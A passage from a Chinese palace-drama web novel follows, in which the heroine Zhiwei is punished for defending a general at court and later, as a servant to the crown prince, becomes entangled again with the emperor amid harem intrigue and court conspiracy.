知微放下手中的东西,瞧见角落还有个小木盒。打开盒子,里面竟放着她从前一直佩戴的银簪,是她在岭南时亲手设计的那枚,后来入宫时收了起来,不知何时,被祝明煜装在盒子保管了。
知微摸着簪子,眼眶发烫。
“明煜,保佑李将军吧。”对着簪子,知微轻声祈祷。
——
第二天的早朝后,养心殿,一片凝重。
李明镜捧着证据,跪在殿中,指着王渺枭的鼻子大骂:“你这个叛贼!暹瀛反贼是你引来的,明煜是你害死的!你还敢在圣上面前装模作样!”
王渺枭却不以为然,好似早就预料到今日,他慢悠悠地从袖里掏出一卷文书,递到祝隶稷面前。
“陛下,李将军检举臣,臣自问清白。但臣这里恰巧也有一份证据,事关李将军这些日子滥用职权,违规调查二皇子的案子。”
王渺枭拱手:“据臣所知,卸任期间,李将军私下还曾联系明镜军旧部,名义是调查二皇子死案,实际则是挪用军饷收买人心,依我看,怕是想图谋不轨,起兵谋反!”
殿内一片哗然。
李明镜气得浑身发抖:“你胡说!我没有!那军饷是用来抚恤遣往暹瀛途中,不幸遇到灾害而阵亡的明镜军将士家属的!”
“有没有,陛下一看便知。”王渺枭躬身,从怀里掏出几张银票,“这是臣在李将军府中搜到的,上面的印章,正是明镜军专用的军印!”
“试问李将军,您卸任有段时候了,按规矩,明镜军的军印早已收回,你没有资格再以明镜军的名头行事,再者说,你既说是抚恤,私下补贴即可,为何要用明镜军的名义?”
“难不成是因为只有动用明镜军,你才能达到自己的目的?”
王渺枭拿起银票,一步步逼近李明镜。
局势瞬间变化。祝隶稷接过王渺枭手上的银票,脸色黑沉。
李明镜急了,一时找不到有力的语言反驳,只好朝着祝隶稷磕头:“陛下!臣对大昭忠心耿耿,绝无反心!您不能信这个奸贼的话!”
眼看李明镜陷入困局,知微猛地站了出来。
“不行!”她的声音都在颤,“明镜军是明煜和李将军一起带出来的,是大昭最忠诚的军队,怎么能说污蔑就污蔑!”
“再说了,王渺枭,你根本不是什么指挥使,你是岭南的山贼!你当年劫杀过我,以为换个名字,就能掩盖你的罪行了?”
知微向前,一把夺下王渺枭的面具。断眉露出来,知微俯身在地:“陛下,臣可作为人证,即便李将军行事有不妥,但王渺枭,也绝非善
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人。”
知微豁出去了。在旁人心中,李明镜是能臣、力臣,可对知微来说,这都是他话,只李明镜是祝明煜亲如手足的义兄这点,便足够她冒险袒护了。
好些天了,知微不止一次地想过,要是当初自己对祝明煜耐心些、多理解些,是不是最后的结局会有所不同。
两人的故事,像是一棵刚长出果实的苹果树,还没成熟便被削了核。所以这回,她不想再后悔。
来得及,来不及,总会有人全力去做,能奏效,不奏效,终要说了才知道。若是祝明煜在此,想来也定会了李明镜,为了明镜军挺身而出。
“陛下,您还记得在蜀郡的时候吗,臣向您诉说了那般多,敢以性命担保当年所言句句属实!”知微的头猛猛触地,“您就算是不相信臣,那明煜呢,他的眼光总比臣值得信任吧?”
祝隶稷如此心机,王渺枭的问题摆在面上,他不可能什么都不调查。
知微以为祝隶稷会信她。当年在岭南,她帮他破过盐案;在蜀郡山洞,她陪他躲过追杀,还为他处理过箭伤。
他们共过生死,他信知微人品,才敢将膳食这般重要的事交给她,往日的恩典画面又浮现心头,这么久了,知微没向祝隶稷坚持过什么,索要过什么。
只这一回,他总该信她一次。
可祝隶稷却冷冷地看着她,眼里满是审视。
“晏尚食,你与李将军交情匪浅,万一是你二人同流合污,陷害王卿,朕也尚未可知。”
“说到底,不过是你一面之词罢了。”祝隶稷双手背过身,步至知微下垂的头颅前。
“这是你自己想说的,还是有人指使你说的。”祝隶稷托起知微脑袋。
两人对上视。
知微像被泼了盆冷水,从头凉到脚。
“陛下的意思,是不信我?”知微翻眼帘,一双凤眼颤出水,“你怀疑我。”
知微的喉咙像是灌了开水,又涩又涨,无端想起那年灯会,祝隶稷贴她耳边讲过的话。
——你够聪明,也够狠,可惜眼界太窄。只盯着灶台那方寸之地,终究是浪费。
——一日是市井小民,便一日是他人砧板上的鱼肉。
——是做一辈子被人随手可碾死的蝼蚁,还是……抓住机会,爬上去?
她选择了后者,所以入宫,所以敛了性子,所以弃了自由,所以,落得个如此质问?
呵。
是了,到底也只成为了一小小女官,说辞哪有多少斤量,可独独不该是眼前这个人说出这句话。
向她抛出橄榄枝的是他,如今嘲讽着自己的,还是他。
知微自地面缓缓起身,拍了拍裙摆。
“您怎么能怀疑我?”她喃喃道,一呼一吸,她狠狠拽住祝隶稷的领口,“李将军忠心耿耿,何来谋反之说?不过是想求一个重新调查,你却听信谗言任人唯亲,难不成,你是对明煜的死心中有鬼?”
知微的头抵住祝隶稷,又突然露出诡异的笑,无数人说过的暗语在此刻交缠于她心口,支配住她的唇。
“你不配做一个皇帝,难怪,所有人都不喜你。”
“所有人都摒弃你!”知微道出了此生最后悔的一句话。
换来的是祝隶稷的一声喝止。
“够了!”祝隶稷拍案而起。
“来人!把这二人拖下去,李明镜意图谋反,贬为庶人,而晏知微……”祝隶稷扫过知微挺得极为笔直的臂膀,目光红刺的像一条毒蛇。
“晏知微出言不逊,目无君上,发配辛者库,永世不得出宫!”祝隶稷咬牙道。
侍卫冲上来,架住李明镜。
李明镜还在喊:“陛下!你不能这样对晏姑娘,明煜他在天有灵,会很伤心的……”
却没人搭理他。
知微站在原地,被重力欺压、碾过。她用尽全力,想要再抓住祝隶稷的身躯,挨了不知谁的巴掌。
。
李明镜举报案自此告一段落。
李明镜贬为庶人,明镜军自此改制,后又归王渺枭总管。宫中少了位晏尚食,多了位无名的洗衣婢。
同日,静芳苑被封,侍仆皆散。
几天后,有婢女夜闯太医署,推搡中撞到侍卫手中利刀,当场毙命。
后来,宫中传过好长一段痴情宫女与重伤的心上人双双丧命的凄惨爱情故事。
期间的女主叫少昭,男主则个是断了根的、尚未来得及赐名的,新太监。
49. 有情人不得长情(一)
四年后,东宫。
知微坐在小室,神情呆滞地绣着花样,绣面上,是一株栩栩如生的海棠,花瓣层层叠叠,好似在微风中摇曳。
美中不足的是绣花的绣娘,她的动作有些发颤,落针的速度过慢。
知微垂下眼绣着纹路,她指尖粗糙,右手手腕向外拐着,骨节处凸起一块明显的变形弧度。
将要收针时,祝晟闯入小室。
“姑姑,姑姑,看晟儿的新衣!”少年清亮的声音响起。祝晟像一阵裹着热气的风,猛地卷进小室。
细汗淌过鬓角,祝晟穿着那件知微新做的宝蓝色锦袍,领口袖缘滚着银线云纹,衬得他眉目愈发清朗。
十五岁,正是少年抽条拔节的好时候。知微放下绣花绷,笑了笑。
“我们晟儿穿什么都好看。”一边说着,她掏出手帕为祝晟擦去额头的汗水。
算来,已是她被调到东宫照顾祝晟的第二个年头。
自李明镜案后,她便被发配到了辛者库,每日里只有冰冷的井水和沉重的衣物相伴。
其他还好,只腊月里的冰水泼在青石板上,瞬间就能结出薄冰。知微跪在浣衣局的角落里,双手泡在冰水里搓洗朝服,冻得发僵的手指连布料都抓不住。
过了好些个春冬,直到那日,新上任的辛者库总管路过,见她有些容貌,便起了歹念。知微不从,那总管便设计陷害她盗取了自己的东西,一顿毒打之后,知微的手腕骨被生生打断,从此再也提不了重物。
知微闭上眼还能忆起当天的一些事,虽说也记不大清具体了。毕竟人身体的构造太过奇妙,总会自然抹去那些痛苦的记忆。
她只记得有侍从擎着根极长的木棍,那木棍带着风声砸下来,第一下落在她的背上,第二下落在她的胳膊上,第三下,直直砸向她的右手手腕。
“咔嚓”一声脆响,比冬日冰裂的声音还刺耳。像是被生生扯断,她的右手腕软塌塌地垂着,关节扭曲。
这是她第一回这么恨自己的这张脸,没有倾国倾城到足以一生富贵,却招来害己的祸事。
她的命没了。
提刀握锅,知微曾经引以为傲的一技之长,就这样没了。
她想过去死,不止一次。
又想着不能便宜了害她的罪魁祸首,意图寻法子玉石俱焚。受伤后的那些天,知微躺在简陋的床铺上,疼得整夜整夜睡不着时便想着这事,想的多了深了,对身上的痛苦,便也就麻木了。
可惜她没能等到玉石俱焚的那天,一日清晨,新上任的总管被发现冻死在井底,死相惨状。
知微没了垫背的,又开始新的失眠,每天夜里到辛者库的院子晃悠,许是上天垂爱,偶尔在夜深人静时,会从高墙的外头悠悠传来一阵笛,倒也是清脆悠扬,知微听得多了,便也就得了些慰藉。
总之她没来得及寻死。来年开春,在一次大赦天下后,知微被编入了坤宁宫,后来又被派去照顾祝晟。
想来离不开皇后的功劳。知微叹,自己也算命好,总能在人生灰暗时遇着贵人,程玊芝是,祝晟,也待她极好。
只一切的罪魁祸首,她再没见过。
那个高高在上的帝王,大抵也无暇顾及她这样的小人物。或许早忘了她吧,他的人生那般光彩,开疆扩土,无量功德。
知微远远瞧见过那人,过得倒是顺心,越发器宇不凡。
她没想过他对自己会有什么不忍,只手上的伤口时刻提醒着她一些往事。她一直刻意回避着他,皇宫那般大,二人愣是没碰上面。再后来,皇后身子抱恙,又嫌太子顽劣,调了知微到东宫。
她成了祝晟的“姑姑”,一个模糊了尊卑界限的称呼。这样也好,东宫远离了那些旧人,祝晟又是个好孩子,依赖她,亲近她,会在她因手腕剧痛夜不能寐时,偷偷把最好的金疮药塞进她枕头底。
“姑姑,你尝尝这个,是御膳房新做的,父皇今日问功课赏的,我觉得特别好吃。”回忆间,祝晟亮闪着眼,不知从哪变戏法,将一块点心塞进知微的嘴里。
“好吃吗?”祝晟带着笑问。
少年已褪去几分孩童的圆润,下颌线条初显锐利,眉眼间依稀有了他父皇的影子,只是那双眼睛,依旧清澈见底,像未经世事的溪流。
知微有些恍神。
“姑姑在想什么?”祝晟见她走神,伸手在她眼前晃了晃。
“没什么。”知微咽下糕点,倒真像个尽职的侍女,她掐了掐祝晟脸上的软肉:“你就不怕长虫牙啊?”
“我已经是大人了。”祝晟浑不在意地咧嘴一笑,露出一口白牙,顺势捉住知微的手。
“若姑姑喜欢,晚上母后寿辰,我再从宫里头带些回来。”他紧了紧力,灿烂道。
——
是夜,太子去了皇后寿宴,东宫格外安静。
时候不算晚,知微却没了精力。
自打辛者库出来,像是被抽干似的,知微的身体大不如前。一来是到了冬日手腕会作痛,二来是多梦,睡得比以前多了,却总是不得安稳。
知微倒也不在意,嘲自己是犯了富贵病,享了些好日子,再回饥寒便无法再接受。
这头洗漱完,知微心中有事,不等祝晟,走进同祝晟寝宫相连的小室,脱了外衣,只着一身里衣,正欲熄灯。
刚拾起剪子,门就被撞开,祝晟跌跌撞撞走进来,身上带着酒气,眼睛通红。
“这是怎了。”知微上前扶过他,带他坐到榻上。
知微抽了抽鼻,祝晟的酒气不算浓,可惜他酒量不好,两三杯便开始神情恍惚。
祝晟抓过知微的手反复道了几声姐姐。
“姐姐……姑姑……”他含混地喊着,声音里带着怒意,“万珍儿……果真是个妖妃!”
“她欺人太甚!”祝晟几乎是吼道,”今儿她在寿宴上装头疼,把父皇从坤宁宫叫走了,这可是母后的生辰,驳了母后多大的面子。亏得母后曾经对她那般好,果真是狼心狗肺……”
闻言,知微心中了然。万珍儿与程玊芝之间的恩怨,她早有耳闻。
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当年孙为之死,少昭闯入太医署前,也曾去过坤宁宫求救。但程玊芝以孙为秽乱宫廷为由,拒绝了少昭的求救,这才间接导致少昭死亡,孙为病逝。
万珍儿将这一切都算在了程玊芝的头上,自此对程玊芝怀恨在心。
后来知微出了辛者库,万珍儿曾偶遇过刚到储秀宫当差的她。好歹故人,她坦白自己要向程玊芝复仇,问知微什么打算。
两边皆是旧识,知微沉默不语。
万珍儿冷哼一声,说知道知微的意思了,她不为难知微,往后二人就当不认识,知微只管袖手旁观二人之间的恩怨便可。
如今想来,那时的万珍儿眼中已经没有了往日的纯真和善良,只剩下仇恨和怨怼。知微知道,这场恩怨已近无法调和,便也就真不理了,左右万珍儿也只是使些夺宠的小心思。
“晟儿,这些事情不是我们能左右的。”知微轻声劝道,“后宫的事离我们太远,只做好自己的本分就是了。”
少昭与孙为的死,实是造化弄人。可若要承认期间没有人为,知微也断说不出口。
万珍儿到底要找个人寄托,找份爱,或者是恨。她选择了恨,转而开始谋求圣宠,知微多少理解。
若是能去恨、去爱都是好的。万珍儿有那个本事,不像她,对有的事与人已没有期待,却也不敢表现出恨意。
祝晟气呼呼继续道:“那个妖女,当了贵妃还不知足,仗着自己的兄长得势,到处作威作福。早上的请安也不来,完全不给母后面子!”
祝晟是最最黏着程玊芝的,听说当年皇帝看他年纪到了,叫他搬到东宫,祝晟不肯,在房里绝了三天食,还是程玊芝哄着陪着到东宫歇了小半月,他这才勉强答应离宫自居。
知微知晓他是护母心切,可这是东宫,他是太子。
“殿下!”知微厉声喝止,她一把捂住祝晟的嘴,警惕地扫了一眼洞开的房门,压低声音,“慎言,隔墙有耳。”
盯着这个位置的人很多。这期间,也包括万珍儿。
祝晟被她捂着嘴,挣扎了几下,那双酷似他父皇的眼睛死死瞪着,里面燃烧着屈辱的火焰
半晌,他像是被抽干了力气,身体软了下来,含糊地呜咽一声,头一歪,竟靠着知微的肩膀沉沉睡去。
到底还是孩子心性。知微替他脱了鞋袜,盖上薄被,指尖拂过他紧蹙的眉心。
*
夜色浓稠如墨。
知微悄无声息地出了东宫,像一抹游魂,在宵禁后的街上穿行。夜风拂过耳,她循着记忆,走向城东池畔那片熟悉的竹林。
清越的笛声,如泣如诉,穿透夜色,幽幽传来。江覃背对着她,站在水边一块光滑的青石上。
知微停住脚步,没有上前,也没有出声,只是静静地听着。
笛声渐歇,最后一个尾音消散在夜风里。江覃缓缓转过身,月光照亮他清俊的面容。
他看着站在阴影里的知微,眼中并无太多惊讶,只微微颔首:“晏姑娘。”
知微绯着了耳。
50. 有情人不得长情(二)
“东西都在这儿了。”江覃指了指地上的小篮,里头装了些香烛与纸扎。
知微拾起它们,点燃了火,跪下。
今儿是少昭与孙为的忌日,知微照着过去的惯例烧纸钱,江覃立在她身旁,也是神情肃穆。这些年来,知微处处制肘,没法按规矩烧钱,便总是江覃代替她来。
几摞黄纸烧完,黑烟向上,带着焦味逐渐消失在深夜。知微起身,接过江覃递过的帕子,拍了拍膝上的泥土。
知微向他道谢,江覃称不必。
两人走在空旷的街,有一搭没一搭聊着。
知微边走边瞟旁边人,江覃的背挺得笔直,走起路来都是端方。这些年来,江覃多次冒着风险到辛者库看她,给她送吃食,送衣服,连她手腕骨被打折后,也是江覃送的药。
还有那悠悠的笛声……知微脸胀了胀,江覃没提过,但想来也只能是他给的安慰。
知微紧了紧手,自袖中掏出一个手工制的络子:“给你做的,算是这么多年的谢礼。”
知微心细,怕惹麻烦,只是个络子,连东西都没镶带。
江覃的目光定在知微面上,少顷,他接过络子。
“不必客气。”江覃收回手,“若是还缺了什么,尽管同我说,你多少算是我的救命恩人,一些小事不打紧的。”
对于知微受苦之事,江覃心里总还是有些过意不去,他自是不相信知微会通敌,只圣上一言九鼎,他也不好触霉头为知微求情。
他想着自己总归有些人脉,虽不多,但也足够知微不受欺压。只他没意料到辛者库新总管的事,待他听着消息,知微的手早便高高鼓起。
知微不怪他,他却有些怪自己,所以他后来做了几多,是为补偿,也为求个心安。
江覃顿足,捏住络子,笑了笑:“手艺很好。”
知微点头,也还了个笑,江覃喜欢是好事,其实她知道自己的手艺也就那回事:她是实在没法子了,手残疾后,连托个盘子都费劲,可要做康复啊,她身旁没其他东西,只几根细针与彩线,她便用这些东西来保障手的运动量。
起初她没想要真学些什么,后来到了坤宁宫,皇后知晓她不想见着故人,分她当了外侍,监督小宫女们洗扫。她不用做事,又闲不下心真当个闲人,便跟着蒋嬷嬷学了些花针,倒也长了技艺。
“都是做着玩的。”知微摆了摆头。
两个人并肩走着,头顶着月光,暖黄色的,洒下来却是冷的。
——
恩宠过后,万珍儿光着脚,翘眉看冷月。
起初她只是用帕子擦拭自己被咬破的唇角,后来干脆用手,只想将枕边人那口中的清香味尽数除去。抬起胳膊,上头是红色的暧昧吻痕,像是被烫伤留下的烙印,万珍儿觉得辣眼,连带身体都灼热到难受。
几步之遥,祝隶稷就睡在身后的龙榻上,呼吸均匀,睡得倒是安稳,连眉头都不带皱。
隔得远了,万珍儿还能闻到他身上龙涎香混着墨味。万珍儿冷笑,这么好的月色,有的人能够进入梦乡,有的人却只能困在回忆里,守着悲伤失眠。
万珍儿只要闭了眼,孙为临终前的画面便如潮水般涌来,挥之不去。
那把匕首刺入后,孙为被拖下去时,人已成了血葫芦,下腹洇开的深色迅速扩大,在地上拖曳出刺目的一道。
皇帝在场,万珍儿连一个关切的眼神也不敢给,孙为被知微安置在宫里一处僻静小院,她无法光明正大探视,只能辗转托人送些汤药吃食。
最后一次,她遣似玉托人送去一盅熬得浓稠的补粥。似玉转告你孙为的状态,说他吃的很香,嘴角还扯着笑,看上去有转好之势。
知微也这般说,她信了。错将回光返照当华佗在世,以为那点粥水终归能续他一丝命。
直到几日后,替她暗中打探消息的老太监悄悄递话,浑浊的眼里满是悲悯:“娘娘…那院子扫出来的秽物里…全是没消化的粥糜…混着血丝,吐的比吃的多啊……”
念及此,万珍儿猛地攥紧了拳,指甲嵌进皮肉。
她的孙为,原是活活痛死、饿死的!
而在他咽下最后一口气时,她甚至无法靠近那间充斥着血腥和绝望的屋子,只能隔着重重宫墙,在冰冷的储秀宫里,想象他被一张破席草草卷走的景象。
恶心,太恶心了!
恨意如藤蔓,绞紧了万珍儿的肺腑。
这几年,和祝隶稷说话恶心,缠绵恶心,想到他就恶心。
可她不得不做。她要获得权利,要夺去程玊芝最在乎的一切。
程玊芝就是个假菩萨,装的一副温柔样,实际上呢,摆明的蛇蝎妇人、怯懦妇人。她和孙为有私情不假,可从未有过逾矩,连皇帝都不质问二人了,可她程玊芝——一个低门寒女,居然敢忤逆皇帝的意思,她凭什么?
万珍儿下意识磨了磨牙。她便是决定了,要替孙为报仇,如此,才不枉费二人爱过一场。
“孙为……”万珍儿在心中默念,泪水无声滑落。一旁的榻上,祝隶稷神情不再自如,他拧着眉,翻过身,额角的冷汗在月光下泛着光。
。
又是一场噩梦——
祝隶稷在一片无边火海中沉浮,灼热的气浪舔舐肌肤,浓烟呛入肺腑。烈焰深处,一道身着明黄龙袍的身影巍然,衣袂已在燃烧——是先帝!
那双曾对他流露过期望的眼,此刻只剩焚天的怒火,死死盯住他,枯槁的手指直直戳来。
“逆子!你为何…为何容不下他?!那是你亲兄弟!”
扭曲的火焰阴影里,一张哭泣的白色面具无声浮现,空洞的眼窝蜿蜒流下两行粘稠的血泪。
血珠滴落在焦黑的地面,竟渐渐汇成两个狰狞的大字——手足!
“……不!”祝隶稷喉咙里迸出短促的嘶吼,身体剧烈一弹,猛地睁开了眼。
冷汗浸透了寝衣,衣服黏腻而冰冷地贴在背上。
“陛下?”温香软玉依偎过来,万珍儿的声音带着朦胧,一只手抚上他汗湿的胸膛。
“可是魇着了?”万珍儿关切道。
那触碰像烧红的针,祝隶稷瞳孔一缩,几乎是本能地
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,手臂狠狠一挥。
“呃!”万珍儿低呼一声,被他突如其来的巨力猛地搡开,后背重重撞在坚硬的金丝楠木的床柱上。
剧痛瞬间席卷,她蜷缩着咬住下唇,将痛呼和深切的恨意一同咽下。
昏暗的光线里,她抬起脸,眼中是惊惶未定的水光,做戏做全套,她怯生生地望着他:“陛下……”
祝隶稷喘息依旧,根本没看她一眼。他的目光扫过窗外朦胧的天光,嘶声喝道:“平海!”
“奴才在。”几乎是立刻,平海佝偻的身影无声无息地出现在屏风旁。
祝隶稷扶住额头,面色发青:“下朝后,叫王渺枭来见朕。”
——
养心殿的熏香很浓,盖着淡淡的药味。
祝隶稷闭目靠在软榻上,两个小太监正给他按揉太阳穴,殿内极静,只有指头与皮肤摩擦的细微声响。
已经有四五年了,养心殿像是冷宫,自少了人后,侍奉的宫人更是装聋作哑,没点生趣,祝隶稷起初不觉着什么,时间久了,倒也无端寂寥起来。
“参见陛下。”王渺枭单膝跪地,行礼道。
“起来吧。”祝隶稷挥了挥手,示意下人退下,“当年之事,尾巴都扫干净了?”他沉声问道,语气中带着几分烦倦。
明明是哑谜,王渺枭却顿时懂了圣意。
王渺枭躬身,姿态恭敬,带着笃定:“陛下放心。使团尽殁于暹暹瀛反贼之手,铁证如山。那些遗属,该得的抚恤、该闭的嘴,臣都料理得妥妥当当,绝无后患。”
祝隶稷闻言,脸色稍霁,随即又紧锁眉头。
“可朕近日总做噩梦,梦到先皇与……故人。”祝隶稷回忆起梦中的光怪陆离,想起那个泣血的面具,在那之下的脸……
祝隶稷的目光投向虚空,仿佛穿透了厚重的宫宇,看到了那个永远一团炽热的弟弟。
倘若祝明煜只是个耽于享乐、胸无大志的闲散王爷……祝隶稷的指尖深深陷入扶手缝隙。
若祝明煜安分,自己这个做兄长的,未必不能容他富贵荣华一生。
可他偏偏那样耀眼,耀眼到得尽父皇的偏爱,耀眼到足以动摇人心,耀眼到成了龙椅下最刺眼的那根尖刺。
所以他除了他,没有办法。
帝王之家,容不得半点差错。
“眼下全国巡视在即,朕担心,这乃是不祥之兆。”祝隶稷翻了翻眼。
王渺枭心领神会,面具下传来低沉的声音:“陛下是真龙天子,些许邪祟何足为道,臣认识几位极灵验的仙师,最擅驱邪安神之法,或可为陛下分忧。”
”准。“祝隶稷吐出一个字,复又合上眼,似乎要将那血火交织的画面挤出脑海。
“去办吧。”帝王摆手。
“是。”王渺枭躬身应诺,却并未立刻退下。
他上前一步,从袖中取出一封洒金红底的奏折,双手恭敬地呈递到御案之上。
“陛下,此乃臣与长公主殿下的联名奏请。臣斗胆,恳请陛下恩准。”
祝隶稷睁眼,是份请婚书。
51. 有情人不得长情(三)
祝隶稷先是沉默。
指尖摩挲着刻有双方印鉴的纸张,他忽地嗤笑一声:“你们倒会挑时候,朕刚定下巡视的日子,就来添这桩喜事。”
“时候真真巧。”祝隶稷身子后仰,道。
素日放荡的王渺枭没有立刻接话,仍躬身立在殿中,措辞陈恳:“臣与长公主殿下,实属同命人,确是真心相待。”
这话很是郑重,祝隶稷翘起眉头,喉结动了动。
“同命人?”祝隶稷抬眼,目光扫过王渺枭脸上的疤痕,“朕的眼皮子不算窄,这些时日你们私下往来,不是没察觉。朕只是好奇,一个公主,一个破格提拔的指挥使,怎么就成了同命人?”他指尖点了点请婚书,“享着皇家俸禄,住着锦衣玉食,用着至极权力,这命,算苦吗?”
这个时候请婚,算是联合,还是聚在一起取暖,祝隶稷并不在意。
一个是亲姐,一个是心腹,眼皮子底下这般久,祝隶稷自信二人做不出大事。
只他实在不喜二人私相授受,便也在话语中含了些讽意。
王渺枭沉默片刻,抬头时眼底竟带了些自嘲。
“臣知晓,什么都瞒不过陛下。”王渺枭上前,“信与不信,陛下知遇之恩在,臣都是陛下的人。”王渺枭表上一番衷心。
祝隶稷捏着请婚书的手顿了顿。到底只剩这点亲眷了,没必要驳了面子。祝隶稷笑了,将请婚书扔回案上:“罢了,随你们去。”
“只是告诉祝华,嫁了人就安分些,别再像从前那样,把宫宴当戏台闹。”祝隶稷端起茶杯,淡淡道。
王渺枭叩首以示遵旨。
——
储秀宫。
万珍儿一指挑起祝隶稷遣人送来的衣裳,全无兴趣。
东西是哄早上推开她的那一下,不过是算计,万珍儿起身,视线转向一身军装的万祁。
“还未祝贺兄长此番高升。”万珍儿举起杯盏,“镇国大将军,嫡母怕是骄傲死了。”万珍儿自幼在乡下庄子散漫大的,回了万家又做了家族巩权的工具,对所谓娘家没什么好感,对那位时常冷脸苛待自己的嫡母更是如此。
万祁知道万珍儿是在嘲讽,只是摆手,叫下人将外头几个箱子抬进来。
箱子里满是各类金银,期间不乏国库才有的几样宝贝,想来是圣上赏赐的,万祁没带回万家,最先抬给万珍儿了。
“宫中打点,你用得上。”万祁言简意赅。
万珍儿是个花钱大手大脚的,每逢万祁入宫,都会给她带些补贴,她早早习惯了这种日子,自然是收下。
上下打量眼前这位嫡兄,二人在她未出阁时候确实关系好,哪怕是入了东宫,二人的往来书信也不少,只这些年她心思深了,两人又是好几月才能见上一回,到底生疏了。
“多谢阿兄。”万珍儿收下珠宝,行礼道。
她正要躬身,万祁一双大手扶住她。
“自家兄妹。”万祁深了深眸,他又问,“这次巡视,皇上可要你伴驾?”
只有宠妃才有伴驾的资格,万珍儿敛了敛神色,原是敲打自己来了。
“我不去。”万珍儿扭身,祝隶稷倒是派人问了她意思,可今儿他才推了她一番,巡视又是舟车劳顿,她又何苦自讨没趣,倒不如待在宫中,继续给皇后添堵才好。
万珍儿心里这般想,嘴上却道自己无能,没引得君王为自己折腰,说这话时,她不忘耸了耸肩,摆明了一副气人样。
可意料之中的“家族规劝”并没有自万祁嘴中说出,万祁点了点头,只丢下一句“不伴驾为好,如此安全”,随即便告辞了。
——
巡视出巡的前一夜,养心殿,御膳房送来一盅冰镇的雪梨汤。
已是盛夏,用来解暑倒是不错。只这味道怕是……祝隶稷不作多想,御膳房保守惯了,做什么都是一个套路。
祝隶稷靠在软榻上,平海侍立在旁,看着他舀起一勺,眉头几不可察地松了松。
这汤炖得绵密,梨肉入口即化,甜意里带着点清润的凉。
“谁做的?”祝隶稷咽下汤,问。
平海忙躬身:“回陛下,是御膳房新提上来的主厨,说是祖传的药膳方子,最是温补。”
“倒是用了心思。”祝隶稷评价,难得勾了勾唇角。
平海觑着他的脸色,上前半步,小心翼翼试探:“听说这新提上来的主厨,是晏尚食从前带过的徒弟,学了些她的手艺……”
“哐——”极重的一声,是瓷盏碰触案面的声音。
“你今天的话有些多。”好不容易的那点笑被咽回肚,祝隶稷恢复冷冰样,瞥平海一眼。
平海自知说错话,低下头,想撤下瓷碗。
祝隶稷先他一步触碰到碗,随即面无表情地将盏中剩余汤汁一饮而尽。喉结滚动,他将空盏掷回托盘,声音听不出喜怒。
“告诉太子,此次巡视,让他一同随行。”
“嗻。”平海淌着冷汗退下。
——
马车颠簸在官道上,车轮碾过碎石,发出单调的辘辘声。
知微靠着车壁,眉眼间笼着一层挥之不去的恹恹之色。
巡视一事,祝晟本不必前往,是突然接到的旨意,知微原是可来可不来,奈何祝晟前几日染了风寒,皇后忧心忡忡,竟派了蒋嬷嬷亲自请她去。
知微虽心中不愿,但念及皇后对自己的恩情,终究还是应了下来。再者说,她现今不过一宫中奴婢,哪有说不的余地,多少仍要识相些。
知微叹气,手指卷过自己的发梢,说是巡视,队伍浩浩荡荡,她只希望,这一路上不要与祝隶稷碰面再生事端才好。
知微这头惆怅着,对面,祝晟正借着车窗透入的微光,蹙眉疾书。小几上摊着未写完的策论,是出发前他父皇额外布置的课业。
“姑姑,你看我这策论写得怎么样?”少年捧着卷书简,鼻尖还泛着红,“父皇说这次巡视要考我民生见闻,我得多写些,不然他又要生气。”
祝隶稷管教祝晟向来严苛,知微凑过去,见竹简上写满了关于“边地流民”的字句,字迹工整,倒是比从前规整了不少。
瞧着祝晟认真的模样,她心中不禁生出几分感慨——
事实上,祝晟本贪玩的年纪,怎会对这些无聊的公文感兴趣,只程玊芝近来身子愈发不爽利,祝晟生怕自己稍有懈怠,引来父皇的不满,继而迁怒母后,他这才收了性子,专心治学起来。
也是不易啊。
知微垂眸,忽而想起自己曾经问过祝隶稷,如果祝晟成不了明君该当如何。当时祝隶稷是怎么回答来着?
“国家需要贤明的君主,只要有为,坐在太子之位的人,孤不介意,他从谁的腹中爬出。”
好
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似是这般。
可如今这么多年过去了,祝隶稷的后宫依旧冷清得像雪洞,子嗣也仅晟儿一个。是真觉得祝晟可堪大用,还是……身子不行了?
这大逆不道的念头窜出来,知微一个没忍住,唇角极轻微地弯了一下,溢出一点几不可闻的气音。
“姑姑笑什么?”祝晟恰好抬头,捕捉到她那点笑意。
知微立刻敛容,摇摇头:“没什么,想起些旧事罢了。”说完,她侧身掀开小帘,恰逢车队暂歇,“我去溪边打些水来。”她拎了水囊,下车寻溪流去。
。
到了小溪边,知微蹲下身子,双手捧起一捧清凉。环顾四周,层叠的山峦和茂密的林木透出几分眼熟。
“姑姑,您也在这儿啊。”一个清脆的声音打断了知微的思绪。她回头一看,原来是一个小内侍,正提着水桶走来。
“是啊,这儿的水真清。”知微笑着回应。
一旁同来取水的小内侍点头感慨:“这蜀郡地界,山山水水瞧着就是不一样哈!”
蜀郡?
知微的心猛地一沉。
竟是这里……岭南逃亡,军营生死,山洞相依……那些刻意尘封的记忆被猛地撬开,汹涌扑来。
她想起那年在蜀郡的密林里,祝明煜骑着马冲过来的模样,想起自己摔下悬崖时,祝隶稷攥着她手腕的那股劲,还有孙为在军营帮她时,脱口而出的那句“你和我的故人很像”。
恍惚已隔世。
知微望着溪水中自己的倒影,又想起那些笑话般的承诺,什么“只我能伤你”、“定会护你周全”,一时竟怔住了。
她呆愣在原地不动,小内侍灌满水囊先走了,溪边只剩她一人。
风声穿过林隙,带来些许窸窣异响。知微心头一紧,猛地回头,就见两个蒙面人举着刀扑过来。
“小娘们!识相点把值钱的交出来!”
知微下意识抓起脚边一块锐利的石头,横在身前,色厉内荏地喝道:“别过来!”
她侧身躲开刀,手中尖石狠狠砸在其中一人的胳膊上。那人吃痛嘶吼,另一人趁机扑上来,死死攥住她的手腕。
眼看那脏污的手就要抓到她的衣襟——
“嗖!”
一支羽箭破空而来,精准无比地贯穿了山贼的胸膛。
山贼脸上的狞笑瞬间凝固,难以置信地低头看向自己心口洇开的血花,哼都未哼一声,便重重栽倒在地。
知微握着石头,惊魂未定,胸口剧烈起伏,怔怔地看向箭矢来处。
林荫深处,一人收起长弓,快步奔来,青衣缓带,面容清俊焦急。
“晏姑娘!你没事吧?”江覃赶到她面前,气息微乱,眼中满是关切。
知微惊魂未定,脸颊因方才的挣扎和惊吓透出些血色,张了张口,那句“多谢”还未出口,却见江覃神色一肃,倏然侧身,朝着她身后的方向,极其恭谨地垂首躬身,跪拜下去。
“臣,参见陛下。”
知微浑身一僵,血液仿佛瞬间冻住。
她慢慢地、极其艰难地转过身。
溪流上游,一人负手而立。
玄色常服勾勒出挺拔却冷寂的身形,祝隶稷站在那儿,不知已看了多久。
他的脸上没什么表情,唯有那双深不见底的眸子,正隔着潺潺流水,静默地落在知微身上。
